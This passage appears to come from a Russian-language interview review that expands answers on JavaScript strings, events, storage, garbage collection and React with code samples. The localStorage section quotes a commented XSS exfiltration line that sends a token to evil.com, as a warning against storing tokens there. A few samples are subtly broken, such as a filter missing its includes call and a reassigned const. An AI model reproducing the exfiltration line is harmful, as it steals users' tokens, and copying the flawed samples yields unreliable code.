str.lastIndexOf("l"); // 12
str.includes("Hello"); // true
str.startsWith("Hello"); // true
str.endsWith("!"); // true
str.search(/world/i); // 7 — поиск по регулярному выражению

// Извлечение подстрок
str.slice(0, 5); // "Hello"
str.slice(-6); // "World!"
str.substring(0, 5); // "Hello"
str.substr(7, 5); // "World" — deprecated

// Доступ к символам
str.charAt(0); // "H"
str.charCodeAt(0); // 72 — код символа
str.at(-1); // "!" — поддержка отрицательных индексов

// Удаление пробелов
" hello ".trim(); // "hello"
" hello ".trimStart(); // "hello "
" hello ".trimEnd(); // " hello"

// Повтор и заполнение
"ab".repeat(3); // "ababab"
"5".padStart(3, "0"); // "005"
"5".padEnd(3, "0"); // "500"

// Замена
str.replace("World", "JavaScript"); // "Hello, JavaScript!"
str.replace(/world/i, "JavaScript"); // первое совпадение по regex
str.replaceAll("l", "L"); // "HeLLo, WorLD!"

// Разделение и объединение
str.split(", "); // ["Hello", "World!"]
"a,b,c".split(","); // ["a", "b", "c"]

// Проверка вхождения
str.includes("Hello", 0); // true — с указанной позиции

// Сравнение локалей
"ä".localeCompare("z", "de"); // -1 — в немецкой локали ä идёт раньше z

// Нормализация Unicode
"é".normalize("NFC"); // каноническая композиция
"é".normalize("NFD"); // каноническая декомпозиция

// Итерация по символам
for (const char of "Hello") {
console.log(char); // H, e, l, l, o
}

// Проверка длины
str.length; // 13

// Конкатенация
str.concat(" How are you?"); // "Hello, World! How are you?"

// Сравнение строк
"a" < "b"; // true — лексикографическое сравнение
"abc".codePointAt(0); // 97 — кодовая точка Unicode

Шаблонные строки (Template Literals):

const name = "John";
const age = 30;

// Интерполяция
const greeting = `Hello, ${name}! You are ${age} years old.`;

// Многострочные строки
const html = `
<div>
<h1>${name}</h1>
<p>Age: ${age}</p>
</div>
`;

// Тегированные шаблоны
function highlight(strings, ...values) {
return strings.reduce((result, str, i) => {
const value = values[i] ? `<mark>${values[i]}</mark>` : '';
return result + str + value;
}, '');
}

const result = highlight`User ${name} is ${age} years old`;
// "User <mark>John</mark> is <mark>30</mark> years old"

Вопрос 11. У каких типов данных в JavaScript нет объектов-обёрток с методами?

Таймкод: 00:11:27

Ответ собеседника: Правильный. У null и undefined нет объектов-обёрток, у остальных примитивных типов (number, string, boolean, symbol, bigint) объекты-обёртки есть.

Правильный ответ:

Ответ полностью корректен. Стоит дополнить объяснение контекстом, чтобы понимание было более глубоким.

Объекты-обёртки (Wrapper Objects):

Для примитивных типов number, string, boolean, symbol и bigint существуют соответствующие объекты-обёртки, которые предоставляют методы и свойства:

// String — обёртка для string
const strPrimitive = "hello";
const strObject = new String("hello");

typeof strPrimitive; // "string"
typeof strObject; // "object"

// Автоматическая обёртка (boxing)
// Когда мы вызываем метод на примитиве, JavaScript временно оборачивает его в объект
strPrimitive.toUpperCase(); // "HELLO" — происходит автоматически:
// 1. new String(strPrimitive) — создаётся временный объект
// 2. Вызывается метод toUpperCase()
// 3. Временный объект удаляется

// Number — обёртка для number
const num = 42;
num.toFixed(2); // "42.00" — автоматическая обёртка в Number

// Boolean — обёртка для boolean
const bool = true;
bool.toString(); // "true"

// Symbol — обёртка (но с ограничениями)
const sym = Symbol("id");
// new Symbol() — TypeError! Нельзя создавать через new
sym.toString(); // "Symbol(id)" — автоматическая обёртка работает

// BigInt — обёртка
const big = 42n;
big.toString(); // "42"
// new BigInt() — TypeError! Аналогично Symbol

Почему у null и undefined нет обёрток:

null.toString(); // TypeError: Cannot read properties of null
undefined.toString(); // TypeError: Cannot read properties of undefined

// Это единственные два примитивных типа, у которых нет:
// - Объекта-обёртки (Null, Undefined не существуют как конструкторы)
// - Методов и свойств

// Это логично: null означает "намеренное отсутствие значения",
// undefined означает "значение не присвоено" — нечего оборачивать

Проблемы с объектами-обёртками:

// Не рекомендуется создавать обёртки явно
const strObj = new String("hello");
const strPrim = "hello";

strObj === strPrim; // false — разные типы
strObj == strPrim; // true — приведение типов

// Логические ловушки
new Boolean(false) ? "truthy" : "falsy"; // "truthy" — объект всегда truthy!

// Правильная проверка пустой строки
const str = new String("");
if (str) {
console.log("Выполнится!"); // str — объект, он truthy, даже если содержит пустую строку
}

Итого:

ПримитивОбёрткаМожно создать через new
stringStringДа
numberNumberДа
booleanBooleanДа
symbolSymbolНет (TypeError)
bigintBigIntНет (TypeError)
nullНет
undefinedНет

Вопрос 12. Что такое события в JavaScript, какие бывают события и какие фазы прохождения события существуют?

Таймкод: 00:11:47

Ответ собеседника: Правильный. События — действия в браузере (клик, нажатие клавиши, прокрутка). Можно перехватывать и предотвращать всплытие. Три фазы: capturing, target, bubbling.

Правильный ответ:

События — это сигналы, которые браузер генерирует в ответ на действия пользователя или изменения состояния страницы. JavaScript позволяет подписываться на эти сигналы и реагировать на них.

Основные категории событий:

События мыши:

element.addEventListener('click', handler); // клик
element.addEventListener('dblclick', handler); // двойной клик
element.addEventListener('mousedown', handler); // нажатие кнопки мыши
element.addEventListener('mouseup', handler); // отпускание кнопки мыши
element.addEventListener('mousemove', handler); // движение мыши
element.addEventListener('mouseenter', handler); // наведение на элемент (не всплывает)
element.addEventListener('mouseleave', handler); // уход с элемента (не всплывает)
element.addEventListener('mouseover', handler); // наведение (всплывает)
element.addEventListener('mouseout', handler); // уход (всплывает)
element.addEventListener('contextmenu', handler); // правый клик

События клавиатуры:

document.addEventListener('keydown', handler); // нажатие клавиши
document.addEventListener('keyup', handler); // отпускание клавиши
document.addEventListener('keypress', handler); // deprecated

// Объект события содержит информацию о клавише
document.addEventListener('keydown', (event) => {
console.log(event.key); // "Enter", "a", "Escape"
console.log(event.code); // "Enter", "KeyA", "Escape" — физическая клавиша
event.ctrlKey; // Ctrl зажат?
event.shiftKey; // Shift зажат?
event.altKey; // Alt зажат?
event.metaKey; // Cmd/Win зажат?
});

События форм и элементов:

input.addEventListener('focus', handler); // получение фокуса
input.addEventListener('blur', handler); // потеря фокуса
input.addEventListener('input', handler); // изменение значения (каждый символ)
input.addEventListener('change', handler); // изменение значения после потери фокуса
form.addEventListener('submit', handler); // отправка формы
input.addEventListener('select', handler); // выделение текста

События документа и окна:

document.addEventListener('DOMContentLoaded', handler); // DOM готов (без картинок/стилей)
window.addEventListener('load', handler); // всё загружено
window.addEventListener('resize', handler); // изменение размера окна
window.addEventListener('scroll', handler); // прокрутка
window.addEventListener('beforeunload', handler); // перед закрытием страницы
window.addEventListener('hashchange', handler); // изменение хеша URL
window.addEventListener('popstate', handler); // навигация по истории

События касаний (мобильные устройства):

element.addEventListener('touchstart', handler);
element.addEventListener('touchmove', handler);
element.addEventListener('touchend', handler);
element.addEventListener('touchcancel', handler);

События drag-and-drop:

element.addEventListener('dragstart', handler);
element.addEventListener('dragover', handler);
element.addEventListener('drop', handler);
element.addEventListener('dragend', handler);

Три фазы распространения события:

Рассмотрим структуру:

<div id="outer">
<div id="middle">
<button id="inner">Click me</button>
</div>
</div>

При клике на button событие проходит три фазы:

Фаза 1: Capturing (погружение/захват) — событие идёт сверху вниз от document к целевому элементу:

document → html → body → div#outer → div#middle → button#inner

Фаза 2: Target (цель) — событие достигает целевого элемента.

Фаза 3: Bubbling (всплытие) — событие идёт снизу вверх от целевого элемента к document:

button#inner → div#middle → div#outer → body → html → document → window
// По умолчанию обработчики срабатывают на фазе всплытия
document.getElementById('outer').addEventListener('click', () => {
console.log('Outer - bubbling');
});

document.getElementById('inner').addEventListener('click', () => {
console.log('Inner - bubbling');
});

// Результат при клике на inner:
// "Inner - bubbling"
// "Outer - bubbling"

// Для перехвата на фазе capturing нужно передать true как третий аргумент
document.getElementById('outer').addEventListener('click', () => {
console.log('Outer - capturing');
}, true); // useCapture = true

document.getElementById('inner').addEventListener('click', () => {
console.log('Inner - bubbling');
});

// Результат при клике на inner:
// "Outer - capturing" — срабатывает первым (capturing)
// "Inner - bubbling" — срабатывает вторым (target + bubbling)

Управление распространением событий:

element.addEventListener('click', (event) => {
event.stopPropagation(); // остановить всплытие (или capturing)
event.stopImmediatePropagation(); // остановить + отменить остальные обработчики на этом элементе
event.preventDefault(); // отменить действие по умолчанию (например, переход по ссылке)
});

Делегирование событий:

Паттерн, при котором обработчик вешается на родителя вместо каждого дочернего элемента:

// Вместо обработчика на каждом li:
// document.querySelectorAll('li').forEach(li => li.addEventListener('click', handler));

// Один обработчик на родителе:
document.querySelector('ul').addEventListener('click', (event) => {
// Проверяем, что клик был именно по li
const li = event.target.closest('li');
if (li) {
console.log('Клик по:', li.textContent);
}
});

Преимущества делегирования:

  • Один обработчик вместо множества
  • Работает с динамически добавленными элементами
  • Меньше потребление памяти

Кастомные события:

// Создание кастомного события
const event = new CustomEvent('userLogin', {
detail: { username: 'John', id: 123 },
bubbles: true,
cancelable: true
});

// Отправка события
element.dispatchEvent(event);

// Обработка кастомного события
element.addEventListener('userLogin', (event) => {
console.log(event.detail.username); // "John"
});

Вопрос 13. Что такое localStorage, как с ним работать и чем отличается от sessionStorage?

Таймкод: 00:13:03

Ответ собеседного: Правильный. localStorage — хранение пар ключ-значение в браузере, данные сохраняются после закрытия браузера. Методы: setItem, getItem, removeItem, clear. Данные можно очистить через DevTools.

Правильный ответ:

Ответ собеседателя корректный, но стоит дополнить важными деталями о различиях, ограничениях и безопасности.

Основные методы работы с localStorage:

// Сохранение данных
localStorage.setItem('username', 'John');
localStorage.setItem('settings', JSON.stringify({ theme: 'dark', lang: 'ru' }));

// Получение данных
const username = localStorage.getItem('username'); // "John"
const settings = JSON.parse(localStorage.getItem('settings'));

// Удаление по ключу
localStorage.removeItem('username');

// Полная очистка
localStorage.clear();

// Количество элементов
localStorage.length; // 2

// Получение ключа по индексу
localStorage.key(0); // "settings"

Различия между localStorage, sessionStorage и Cookies:

ХарактеристикаlocalStoragesessionStorageCookies
Время жизниБессрочноДо закрытия вкладкиУстанавливается (Expires/Max-Age)
ДоступностьВсе вкладки одного originТолько текущая вкладкаВсе вкладки + сервер
Отправка на серверНетНетДа (каждый запрос)
Объём~5-10 MB~5-10 MB~4 KB
APIWeb Storage APIWeb Storage APIdocument.cookie

Важные особенности localStorage:

// 1. Хранит только строки!
localStorage.setItem('number', 42);
localStorage.getItem('number'); // "42" — строка, не число

// Для объектов нужна сериализация
const user = { name: 'John', age: 30 };
localStorage.setItem('user', JSON.stringify(user));
const restored = JSON.parse(localStorage.getItem('user'));

// 2. Синхронный API — блокирует основной поток
// При больших объёмах данных это может тормозить UI

// 3. Доступ только в том же origin (протокол + домен + порт)
// https://example.com не видит данные http://example.com

// 4. Ограничение размера (~5MB)
try {
localStorage.setItem('key', 'x'.repeat(6 * 1024 * 1024));
} catch (e) {
console.log('QuotaExceededError:', e);
}

// 5. Нет встроенного механизма истечения срока действия
// Нужно реализовывать вручную:
function setWithExpiry(key, value, ttl) {
const item = {
value: value,
expiry: Date.now() + ttl
};
localStorage.setItem(key, JSON.stringify(item));
}

function getWithExpiry(key) {
const itemStr = localStorage.getItem(key);
if (!itemStr) return null;

const item = JSON.parse(itemStr);
if (Date.now() > item.expiry) {
localStorage.removeItem(key);
return null;
}
return item.value;
}

sessionStorage — особенности:

// API идентичен localStorage
sessionStorage.setItem('tempData', 'value');
sessionStorage.getItem('tempData');

// Ключевое отличие: данные живут только в рамках вкладки
// - Открытие того же URL в новой вкладке создаёт новую сессию
// - Дублирование вкладки (Ctrl+Shift+T) копирует sessionStorage
// - Закрытие вкладки удаляет все данные

// Типичное использование:
// - Временные данные формы (черновик)
// - Состояние интерфейса для текущей сессии
// - Кэширование данных для одной вкладки

Безопасность:

// НЕ храните в localStorage чувствительные данные:
// - Токены авторизации (особенно JWT с долгим сроком)
// - Пароли
// - Персональные данные

// Причина: localStorage доступен любому JavaScript на странице
// Уязвимость к XSS-атакам:
// Если злоумышленник внедрит скрипт, он получит доступ:
// fetch('https://evil.com/steal?data=' + localStorage.getItem('token'));

// Для токенов лучше использовать httpOnly cookies:
// - Недоступны из JavaScript
// - Защищены от XSS
// - Автоматически отправляются с каждым запросом

Событие storage:

// Срабатывает при изменении localStorage в ДРУГОЙ вкладке
window.addEventListener('storage', (event) => {
console.log('Key:', event.key);
console.log('Old value:', event.oldValue);
console.log('New value:', event.newValue);
console.log('URL:', event.url);
});

// Не срабатывает в той же вкладке, где произошло изменение
// Используется для синхронизации состояния между вкладками

IndexedDB как альтернатива:

Для больших объёмов данных или сложных структур лучше использовать IndexedDB — асинхронную базу данных в браузере с поддержкой индексов и транзакций.

Вопрос 14. Что такое сборка мусора в JavaScript и как работает алгоритм?

Таймкод: 00:14:47

Ответ собеседника: Правильный. Сборка мусора — автоматический процесс очистки памяти. Алгоритм mark-and-sweep: помечает корневые элементы, проходит по ссылкам, помечает достижимые объекты, удаляет непомеченные.

Правильный ответ:

Ответ собеседника верный в целом, но стоит раскрыть тему глубже, включая внутреннюю работу V8 и практические аспекты.

Основной алгоритм: Mark-and-Sweep

// Пример создания мусора
function createUser() {
const user = { name: 'John', age: 30 }; // объект создан в куче
return user;
}

const currentUser = createUser(); // объект достижим через currentUser

currentUser = null; // объект { name: 'John' } теперь недостижим — станет мусором

Алгоритм работает в два этапа:

  1. Mark (пометка) — обход графа объектов от корней, пометка всех достижимых
  2. Sweep (очистка) — удаление всех непомеченных объектов

Корни сборщика касора (GC roots):

  • Глобальный объект (window в браузере, global в Node.js)
  • Локальные переменные в текущих функциях
  • Замыкания
  • Стек выполнения

Поколенческая сборка в V8:

Движок V8 (Chrome, Node.js) использует поколенческую сборку, основанную на наблюдении: большинство объектов живут недолго.

// Young Generation (Новое поколение)
// - Объекты создаются здесь
// - Быстрая сборка (Scavenge) происходит часто
// - Использует два пространства: From и To
// - Живые объекты копируются из From в To, затем From очищается полностью

// Old Generation (Старое поколение)
// - Объекты, пережившие несколько сборок young generation
// - Медленная полная сборка (Mark-Sweep-Compact) происходит редко
// - Используется основной mark-and-sweep + компактизация памяти

function processData() {
// Этот объект скорее всего попадёт в young generation
// и будет быстро собран, если не сохранится ссылка
const temp = { data: new Array(1000).fill('x') };

// Если вернуть — объект может дожить до old generation
return temp;
}

Типы сборки в V8:

  • Scavenge (Minor GC) — быстрая сборка young generation, останавливает выполнение на миллисекунды
  • Mark-Sweep (Major GC) — полная сборка old generation, может вызвать заметные паузы
  • Incremental GC — разбиение работы на маленькие части для уменьшения пауз
  • Concurrent GC — часть работы выполняется в параллельном потоке

Проблемы с памятью:

// Утечка памяти через замыкание
function createHandler() {
const largeData = new Array(1000000).fill('data');
return function handler() {
// largeData сохраняется в замыкании даже если не используется
console.log('Handler called');
};
}

const handlers = [];
for (let i = 0; i < 100; i++) {
handlers.push(createHandler()); // 100 массивов по 1M элементов в памяти
}

// Утечка через DOM-ссылки
const elements = {};
function storeElement(id) {
elements[id] = document.getElementById(id);
// Даже после удаления элемента из DOM, ссылка в elements сохраняет память
}

// Утечка через таймеры
const data = loadHugeData();
setInterval(() => {
process(data); // data никогда не будет собрана, пока таймер работает
}, 1000);

// Решение: очищать таймеры при необходимости
const timerId = setInterval(() => { /* ... */ }, 1000);
clearInterval(timerId);

// Утечка через Map/Set
const cache = new Map();
function getCached(key, value) {
cache.set(key, value); // Кэш растёт бесконечно
}

// Решение: использовать WeakMap/WeakSet для слабых ссылок
const weakCache = new WeakMap();

WeakRef и FinalizationRegistry:

// WeakRef — слабая ссылка, не препятствует сборке мусора
let obj = { data: 'important' };
const weakRef = new WeakRef(obj);

obj = null; // Объект может быть собран

// Проверка, жив ли объект ещё
const maybeObj = weakRef.deref();
if (maybeObj) {
console.log('Объект ещё жив');
} else {
console.log('Объект собран');
}

// FinalizationRegistry — callback при сборке объекта
const registry = new FinalizationRegistry((heldValue) => {
console.log(`Объект собран: ${heldValue}`);
});

let target = { name: 'test' };
registry.register(target, 'my-object');

target = null; // После сборки мусора вызовется callback

Как избежать проблем с памятью:

  • Удалять обработчики событий при уничтожении компонентов
  • Очищать таймеры (setInterval, setTimeout)
  • Использовать WeakMap/WeakSet для кэширования
  • Избегать случайного создания глобальных переменных
  • Использовать DevTools Memory Profiler для анализа утечек

Вопрос 15. Что такое React, зачем нужен и почему нельзя писать на чистом JavaScript?

Таймкод: 00:16:20

Ответ собеседника: Правильный. React — библиотека для создания UI и SPA. Преимущества: хуки, экосистема, Virtual DOM, Fiber, мемоизация через useMemo и useCallback.

Правильный ответ:

Ответ корректный, но стоит проясниить ключевой момент: на чистом JavaScript писать можно, но это нецелесообразно для сложных приложений. React решает конкретные проблемы, которые возникают при масштабировании.

Можно ли писать на чистом JavaScript?

Можно, и для простых задач это оправдано. Но при росте приложения возникают проблемы:

// Пример на чистом JavaScript: список пользователей с поиском
class UserList {
constructor(containerId) {
this.container = document.getElementById(containerId);
this.users = [];
this.filteredUsers = [];
this.searchQuery = '';
}

setUsers(users) {
this.users = users;
this.filteredUsers = this.filterUsers();
this.render();
}

setSearchQuery(query) {
this.searchQuery = query;
this.filteredUsers = this.filterUsers();
this.render();
}

filterUsers() {
return this.users.filter(u =>
u.name.toLowerCase().this.searchQuery.toLowerCase()
);
}

render() {
// Полный перерендер всего списка при любом изменении
this.container.innerHTML = '';
const ul = document.createElement('ul');
this.filteredUsers.forEach(user => {
const li = document.createElement('li');
li.textContent = `${user.name} (${user.email})`;
ul.appendChild(li);
});
this.container.appendChild(ul);
}
}

// Проблемы этого подхода:
// 1. При каждом изменении — полный перерендер (reflow)
// 2. Нет реактивности — нужно вручную вызывать render()
// 3. Сложно управлять состоянием при росте приложения
// 4. Нет компонентного подхода — дублирование кода
// 5. Сложно тестировать и поддерживать

Как React решает эти проблемы:

// Аналогичный компонент на React
function UserList({ users }) {
const [searchQuery, setSearchQuery] = useState('');

const filteredUsers = useMemo(() =>
users.filter(user =>
user.name.toLowerCase().includes(searchQuery.toLowerCase())
),
[users, searchQuery]
);

return (
<div>
<input
value={searchQuery}
onChange={e => setSearchQuery(e.target.value)}
placeholder="Поиск..."
/>
<ul>
{filteredUsers.map(user => (
<li key={user.id}>
{user.name} ({user.email})
</li>
))}
</ul>
</div>
);
}

// Преимущества:
// 1. Реактивность — автоматический перерендер при изменении состояния
// 2. Virtual DOM — минимальные изменения в реальном DOM
// 3. Компонентный подход — переиспользование, изоляция
// 4. useMemo — мемоизация вычислений

Virtual DOM:

// React не обновляет DOM напрямую
// Вместо этого создаёт виртуальное дерево (легковесные JS-объекты)

// 1. Состояние изменилось → создаётся новое Virtual DOM дерево
// 2. React сравнивает новое дерево с предыдущим (diffing)
// 3. Вычисляет минимальный набор изменений
// 4. Применяет только эти изменения к реальному DOM

// Это дешевле, чем обновлять реальный DOM целиком,
// потому что reflow — дорогая операция

React Fiber:

Архитектура React, позволяющая прерывать рендеринг и приоритизировать обновления:

// До Fiber: синхронный рендеринг
// Если дерево большое — блокировка UI до завершения

// С Fiber: инкрементальный рендеринг
// Работа разбивается на единицы (fibers)
// Высокоприоритетные обновления (ввод текста) могут прервать
// низкоприоритетные (анимация списка)

function App() {
const [text, setText] = useState('');
const [list, setList] = useState([]);

// Ввод текста — высокий приоритет
const handleChange = (e) => setText(e.target.value);

// Обновление списка — может быть отложено
useEffect(() => {
const filtered = heavyFilter(list, text);
setFilteredList(filtered);
}, [list, text]);

return (
<>
<input value={text} onChange={handleChange} />
<HeavyList items={list} />
</>
);
}

Ключевые концепции React:

  • Компоненты — переиспользуемые блоки UI с собственным состоянием
  • JSX — синтаксис, позволяющий писать HTML-подобную разметку в JavaScript
  • Хуки — функции для управления состоянием и жизненным циклом
  • Однонаправленный поток данных — данные передаются сверху вниз через props
  • Контекст — способ передачи данных через дерево компонентов без prop drilling

Когда React избыточен:

  • Простые лендинги с минимальной интерактивностью
  • Статические сайты
  • Простые формы
  • Проекты с жёсткими требованиями к размеру бандла

Для серверного разработчика на Go понимание React важно для проектирования API, которые будут удобны для клиентских приложений, а также для понимания принципов SSR (Server-Side Rendering) и гидратации.

Вопрос 16. Почему был выбран React, а не Angular или Vue? В чём отличия этих фреймворков?

Таймкод: 00:17:33

Ответ собеседника: Неполный. Перешёл на React из-за популярности. React и Vue используют Virtual DOM, Angular — Incremental DOM. React — библиотека, Vue и Angular — фреймворки. Реактивность: React — хуки, Vue — встроенная система, Angular — RxJS.

Правильный ответ:

Ответ собеседника затрагивает основные моменты, но требует систематизации и дополнения техническими деталями.

Ключевое различие: библиотека vs фреймворк:

React — библиотека, сфокусированная исключительно на рендеринге UI:

// React предоставляет только компоненты и хуки
// Для полноценного приложения нужно выбирать самостоятельно:
// - Роутинг: react-router, tanstack-router
// - Управление состоянием: Redux, Zustand, MobX, Jotai
// - Запросы данных: TanStack Query, SWR, Apollo
// - Формы: React Hook Form, Formik
// - Сборка: Vite, Webpack, esbuild

import { useState, useEffect } from 'react';

function Counter() {
const [count, setCount] = useState(0);
return <button onClick={() => setCount(c => c + 1)}>{count}</button>;
}

Vue — прогрессивный фреймворк с официальной экосистемой:

<!-- Vue предоставляет больше из коробки -->
<template>
<button @click="count++">{{ count }}</button>
</template>

<script setup>
import { ref } from 'vue';
const count = ref(0);
</script>

<!-- Официальные решения: Vue Router, Pinia (состояние), Vite (сборка) -->

Angular — полноценный фреймворк с жёсткой архитектурой:

// Angular диктует структуру приложения
// TypeScript обязателен
// RxJS встроен в ядро
// Dependency Injection на уровне фреймворка

@Component({
selector: 'app-counter',
template: `<button (click)="increment()">{{ count }}</button>`
})
export class CounterComponent {
count = 0;

constructor(private service: DataService) {}

increment() {
this.count++;
}
}

Сравнение подходов к реактивности:

// React: иммутабельность + хуки
const [user, setUser] = useState({ name: 'John', age: 30 });
// Для обновления нужно создать новый объект
setUser(prev => ({ ...prev, age: 31 }));

// Vue 3: прокси-реактивность
const user = reactive({ name: 'John', age: 30 });
// Можно мутировать напрямую
user.age = 31; // Vue автоматически отследит изменение

// Angular: RxJS Observable
this.user$ = this.service.getUser();
// В шаблоне: {{ user$ | async }}

Virtual DOM vs Incremental DOM:

// React (Virtual DOM):
// 1. Создаёт полную виртуальную копию DOM при каждом изменении
// 2. Сравнивает с предыдущей версией (diffing)
// 3. Применяет минимальный набор изменений к реальному DOM

// Angular (Incremental DOM):
// 1. Обходит DOM дерево последовательно
// 2. Проверяет каждый узел на изменения
// 3. Не создаёт полную копию — меньше потребление памяти
// 4. Изменения применяются сразу при обнаружении

Сравнительная таблица:

ХарактеристикаReactVue 3Angular
ТипБиблиотекаФреймворкФреймворк
ЯзыкJavaScript/JSXJavaScript/TypeScriptTypeScript (обязательно)
РеактивностьИммутабельность + setStateProxy-basedRxJS + Change Detection
ШаблоныJSX (JS + HTML)Template syntaxTemplate syntax
Кривая обученияСредняяНизкаяВысокая
Размер бандла~40 KB~33 KB~130 KB
ЭкосистемаОгромнаяБольшаяПолная (официальная)
РоутингСтороннийОфициальныйВстроенный
State ManagementСтороннийОфициальный (Pinia)Встроенный (Services + RxJS)
SSRNext.js, RemixNuxt.jsAngular Universal
Мобильные приложенияReact NativeNativeScript, CapacitorIonic, NativeScript
ПоддержкаMetaCommunity (Evan You)Google

Когда что выбрать:

  • React — максимальная гибкость, огромный рынок вакансий, подходит для проектов любого размера
  • Vue — быстрый старт, хорошая документация, подходит для небольших и средних проектов
  • Angular — корпоративные приложения, строгая архитектура, большие команды

Для серверного разработчика на Go понимание этих различий помогает при проектировании API и выборе подхода к интеграции фронтенда с бэкендом.

Вопрос 17. Что такое Virtual DOM, как он работает и зачем нужен?

Таймкод: 00:20:27

Ответ собеседника: Правильный. Virtual DOM — виртуальная копия DOM в виде JS-объекта. Три этапа: рендеринг, согласование (reconciliation), коммит. Оптимизация тяжёлых операций браузера.

Правильный ответ:

Ответ собеседника корректный. Дополним техническими деталями о реализации.

Проблема, которую решает Virtual DOM:

// Без Virtual DOM: ручное управление DOM
// Каждое изменение вызывает reflow и repaint
const list = document.getElementById('list');

// Добавление 1000 элементов — 1000 reflow
for (let i = 0; i < 1000; i++) {
const li = document.createElement('li');
li.textContent = `Item ${i}`;
list.appendChild(li); // Каждый appendChild — reflow!
}

// С Virtual DOM: батчинг изменений
// Все изменения сначала применяются к виртуальному дереву
// Затем вычисляется минимальный набор операций
// И применяется к реальному DOM за один проход

Структура Virtual DOM:

// JSX
<div className="container">
<h1>Hello</h1>
<p>World</p>
</div>

// Компилируется в вызов createElement (React до 17)
React.createElement('div', { className: 'container' },
React.createElement('h1', null, 'Hello'),
React.createElement('p', null, 'World')
)

// Или в автоматический импорт (React 17+)
_jsx('div', { className: 'container', children: [
_jsx('h1', { children: 'Hello' }),
_jsx('p', { children: 'World' })
]})

// Результат — обычный JavaScript-объект (Virtual DOM node)
{
type: 'div',
props: {
className: 'container',
children: [
{ type: 'h1', props: { children: 'Hello' } },
{ type: 'p', props: { children: 'World' } }
]
},
key: null,
ref: null
}

Три этапа работы:

1. Render (Рендеринг):

// Когда состояние изменяется, React вызывает компонент
function Counter() {
const [count, setCount] = useState(0);
// При каждом вызове создаётся новое Virtual DOM дерево
return <div>Count: {count}</div>;
}

// setCount(1) → React вызывает Counter() → получает новый Virtual DOM
// {
// type: 'div',
// props: { children: ['Count: ', 1] }
// }

2. Reconciliation (Согласование):

// React сравнивает старое и новое Virtual DOM дерево
// Использует эвристический алгоритм O(n) вместо O(n³) полного сравнения

// Правила сравнения:
// 1. Разные типы → полная замена
// Old: <div>...</div>
// New: <span>...</span>
// → Удаляет div, создаёт span

// 2. Одинаковые типы → обновление атрибутов
// Old: <div className="old" />
// New: <div className="new" />
// → Обновляет только className

// 3. Списки → использование key для оптимизации
// Без key: React пересоздаёт все элементы
// С key: React понимает, какой элемент переместился

// Плохо — индекс как key
{items.map((item, index) => (
<li key={index}>{item.name}</li>
))}
// При добавлении в начало — все элементы пересоздаются

// Хорошо — стабильный идентификатор
{items.map(item => (
<li key={item.id}>{item.name}</li>
))}
// React понимает, что элементы те же, просто порядок изменился

3. Commit (Коммит):

// React применяет вычисленные изменения к реальному DOM
// Операции:
// - CREATE: document.createElement()
// - INSERT: parent.appendChild()
// - UPDATE: element.setAttribute()
// - DELETE: parent.removeChild()
// - REPLACE: parent.replaceChild()

// Все операции батчинг — применяются за один reflow

Fiber — внутренняя архитектура React:

// Fiber — это единица работы в React
// Каждый компонент соответствует fiber-узлу

const fiberNode = {
type: 'div', // Тип элемента
key: null, // Ключ для списков
props: { className: 'container' },
stateNode: domElement, // Ссылка на реальный DOM-элемент

// Связи с другими fiber
return: parentFiber, // Родитель
child: firstChild, // Первый потомок
sibling: nextSibling, // Следующий sibling

// Для обновлений
alternate: oldFiber, // Ссылка на предыдущий fiber
effectTag: 'UPDATE', // Тип изменения
};

// Fiber позволяет React:
// 1. Прерывать рендеринг (приоритеты)
// 2. Возобновать работу с того же места
// 3. Откатывать изменения при ошибках

Преимущества Virtual DOM:

  • Декларативность — описываем что должно быть, а не как это сделать
  • Батчинг — группировка изменений для минимизации reflow
  • Кроссплатформенность — один и тот же Virtual DOM можно рендерить в DOM, нативные приложения (React Native), PDF и т.д.
  • Оптимизация — минимальные изменения в реальном DOM

Ограничения Virtual DOM:

  • Накладные расходы на создание и сравнение объектов
  • Не всегда быстрее ручной оптимизации для простых случаев
  • Svelte и Solid показывают, что можно обойтись без Virtual DOM, компилируя обновления в императивный код

Вопрос 18. Следишь ли за обновлениями React? Какие новые хуки и возможности появились?

Таймкод: 00:21:34

Ответ собеседника: Неполный. Названы хуки use, useOptimistic, useFormStatus, useTransition. На работе не использовали, но изучал useOptimistic.

Правильный ответ:

Ответ собеседника перечисляет часть новых хуков, но стоит систематизировать и дополнить контекстом о React 18 и React 19.

React 18 (2022) — основные нововведения:

Concurrent Features:

// useTransition — для неблокирующих обновлений UI
function SearchResults() {
const [query, setQuery] = useState('');
const [results, setResults] = useState([]);
const [isPending, startTransition] = useTransition();

const handleChange = (e) => {
// Обновление ввода — срочное (не может ждать)
setQuery(e.target.value);

// Обновление результатов — может быть прервано
startTransition(() => {
setResults(heavySearch(e.target.value));
});
};

return (
<>
<input value={query} onChange={handleChange} />
{isPending && <Spinner />}
<ResultsList items={results} />
</>
);
}

// useDeferredValue — откладывает обновление значения
function SearchPage({ query }) {
const deferredQuery = useDeferredValue(query);

// query обновляется сразу (input не тормозит)
// deferredQuery обновляется позже (результаты поиска)
return <Results query={deferredQuery} />;
}

Automatic Batching:

// React 17: батчинг только в обработчиках событий
setTimeout(() => {
setCount(c => c + 1); // Первый рендер
setFlag(f => !f); // Второй рендер
}, 1000);

// React 18: автоматический батчинг везде
setTimeout(() => {
setCount(c => c + 1); // Один рендер на оба обновления
setFlag(f => !f);
}, 1000);

// И в промисах, и в нативных обработчиках
fetch('/api').then(() => {
setCount(c => c + 1); // Один рендер
setFlag(f => !f);
});

React 19 (2024) — основные нововведения:

use() хук:

// use() — универсальный хук для чтения ресурсов
// Может использоваться с промисами и контекстом

// Чтение промиса
function Comments({ commentsPromise }) {
// use() приостанавливает компонент до разрешения промиса
const comments = use(commentsPromise);
return comments.map(c => <p key={c.id}>{c.text}</p>);
}

// Использование с контекстом
function ThemeDisplay() {
const theme = use(ThemeContext);
return <div className={theme}>Content</div>;
}

// use() можно использовать условно (в отличие от других хуков)
function UserProfile({ showDetails }) {
const user = use(UserContext);
if (showDetails) {
const details = use(detailsPromise); // Условный вызов — OK
return <DetailedUser user={user} details={details} />;
}
return <SimpleUser user={user} />;
}

useOptimistic() хук:

// useOptimistic — оптимистичные обновления UI
function TodoList({ todos }) {
const [optimisticTodos, addOptimistic] = useOptimistic(
todos,
(state, newTodo) => [...state, { ...newTodo, sending: true }]
);

async function addTodo(formData) {
const title = formData.get('title');

// Немедленно добавляем в UI (оптимистично)
addOptimistic({ title });

// Отправляем на сервер
await fetch('/api/todos', {
method: 'POST',
body: formData
});
// При ошибке — React автоматически откатит к предыдущему состоянию
}

return (
<>
<form action={addTodo}>
<input name="title" />
